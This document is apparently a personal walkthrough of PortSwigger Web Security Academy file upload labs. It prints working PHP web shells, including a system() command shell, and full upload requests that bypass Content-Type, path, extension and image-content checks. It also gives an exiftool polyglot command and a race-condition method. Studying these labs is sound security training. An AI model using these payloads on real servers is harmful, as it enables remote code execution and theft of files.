PortSwigger: File upload vulnerabilities
Contents
File Upload Vulnerabilities
File upload vulnerabilities occur when web servers fail to validate
- File name
- size
- contents
- type or extension
If the server is not validating all of the above things, it can lead to remote code execution or overwriting of existing files as well.
Remote code execution via web shell upload
It could be possible that we are able to upload scripts on the web server but the server is configured to not execute any file. In that case achieving remote code execution can be difficult.
In the current lab we upload a profile picture from the account and we observe the following request is made on refresh to get the picture we just uploaded:
Request
show 11 more headershide 11 headers
We make an exploit.php with the following script:
<?php echo file_get_contents('/home/carlos/secret'); ?>
This led to the following request:
Request
show 11 more headershide 11 headers
Response
show 5 more headershide 5 headers
We were able to fetch the secret. A more versatile web shell may look something like this:
<?php echo system($_GET['command']); ?>
This script enables you to pass an arbitrary system command via a query parameter as follows:
GET /example/exploit.php?command=id HTTP/1.1
Web shell upload via Content-Type restriction bypass
application/x-www-form-url-encoded: For sending simple HTML forms
multipart/form-data: For sending large data like PDFs and images
In the current lab the file type is being validated solely on the basis of Content-Type header. We can bypass this restriction.
We were unable to upload the php script like we did in the above lab. So we had to upload the script and change the Content-Type header back to image/jpeg. This allowed us to bypass the restriction
# Original Request body
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="user"
wiener
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="csrf"
leQfCOJuZHpXJv9bIQs5Gf9oryJZe3Ix
-----------------------------164166457611644244961394233847--
# Modified request body
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="user"
wiener
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="csrf"
leQfCOJuZHpXJv9bIQs5Gf9oryJZe3Ix
-----------------------------164166457611644244961394233847--
# Response from the server on Get request later
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:09:30 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
LUMjILiOmSL2Q2vrWNVqPouvoTn2SD2q
Web shell upload via path traversal
Web servers are configured to only accept certain file types however if we bypass that restriction the second line of defense is where the server is configured not to execute scripts. Servers generally only run scripts whose MIME type they have been explicitly configured to execute.
These kinds of restrictions are usually applied on the directories where user controlled input is uploaded. But if we find a directory where the server is not expecting any user input based files, we might be able to execute scripts in such directories.
Initial request and response:
Request
show 11 more headershide 11 headers
Response
show 7 more headershide 7 headers
The server is simply returning the contents of the php file instead of executing it.
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="user"
wiener
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="csrf"
w3B4fp2TcX27MLeZfxQ8lxlpyYmqKqDD
-----------------------------69546747533144935391453654045--
Response:
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:23:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
This means the server is stripping away the directory traversal payload from the filename. We can try and URL encode it.
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="user"
wiener
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="csrf"
w3B4fp2TcX27MLeZfxQ8lxlpyYmqKqDD
-----------------------------69546747533144935391453654045--
# response from server:
The file avatars/../exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Notice that directory traversal payload is not removed. We simply make a GET request to the upload resource now in order to execute it.
Request
show 11 more headershide 11 headers
Response
show 5 more headershide 5 headers
Web shell upload via obfuscated file extension
We can bypass blacklists by the following methods
- changing filename to
exploit.pHp exploit.php.jpgexploit.php.exploit%2Ephpexploit.asp;.jpgexploit.asp%00.jpgexploit.p.phphp
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: text/php
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="user"
wiener
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="csrf"
vOC2b4AvQ58NXDAOVIvMJJAONXV7JOL8
-----------------------------218897616138370763250693900--
----
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:52:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Request
show 11 more headershide 11 headers
Response
show 5 more headershide 5 headers
Remote code execution via polyglot web shell upload
Some web servers verify the contents of the file as well, instead of solely relying on content type or file type validations.
In the case of an image upload function, the server might try to verify certain intrinsic properties of an image, such as its dimensions. If you try uploading a PHP script, for example, it won’t have any dimensions at all. Therefore, the server can deduce that it can’t possibly be an image, and reject the upload accordingly.
Similarly, certain file types may always contain a specific sequence of bytes in their header or footer. These can be used like a fingerprint or signature to determine whether the contents match the expected type. For example, JPEG files always begin with the bytes FF D8 FF.
Solution: Create a polyglot PHP/JPG file that is fundamentally a normal image, but contains your PHP payload in its metadata. A simple way of doing this is to download and run ExifTool from the command line as follows:
╭─me@host ~/Downloads
╰─$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" test.jpg -o polyglot.php
1 image files created
Getting the file
GET /files/avatars/polyglot.php HTTP/1.1
Host: 0a2700f703e3e3728088be800009006e.web-security-academy.net
Cookie: session=[redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a2700f703e3e3728088be800009006e.web-security-academy.net/my-account/avatar
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 07:07:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 7446
������
(����¸6curv�������Í��sf32�����B��Þÿÿó&����ýÿÿû¢ÿÿý£��Ü��Àlÿþ�MSTART 5LkwxGEq3XjIpilUm9IihlrAcztTmlML ENDÿÛ�
Web shell upload via race condition
Modern frameworks are more battle-hardened against these kinds of attacks. They generally don’t upload files directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so.
Developers sometimes implement their own file upload methods, this can introduce race condition vulnerabilities. For example consider a scenario where a file is uploaded on the main filesystem where it’s checked for viruses, if it’s malicious the file is removed. All of this happens in milliseconds that’s why it’s hard to find such vulnerabilities.
Due to the generous time window for this race condition, it is possible to solve this lab by manually sending two requests in quick succession using Burp Repeater. The solution described here teaches you a practical approach for exploiting similar vulnerabilities in the wild, where the window may only be a few milliseconds.
To solve this lab we simply send both the POST and GET request in the Repeater. Make them in a group. Then send both requests in parallel.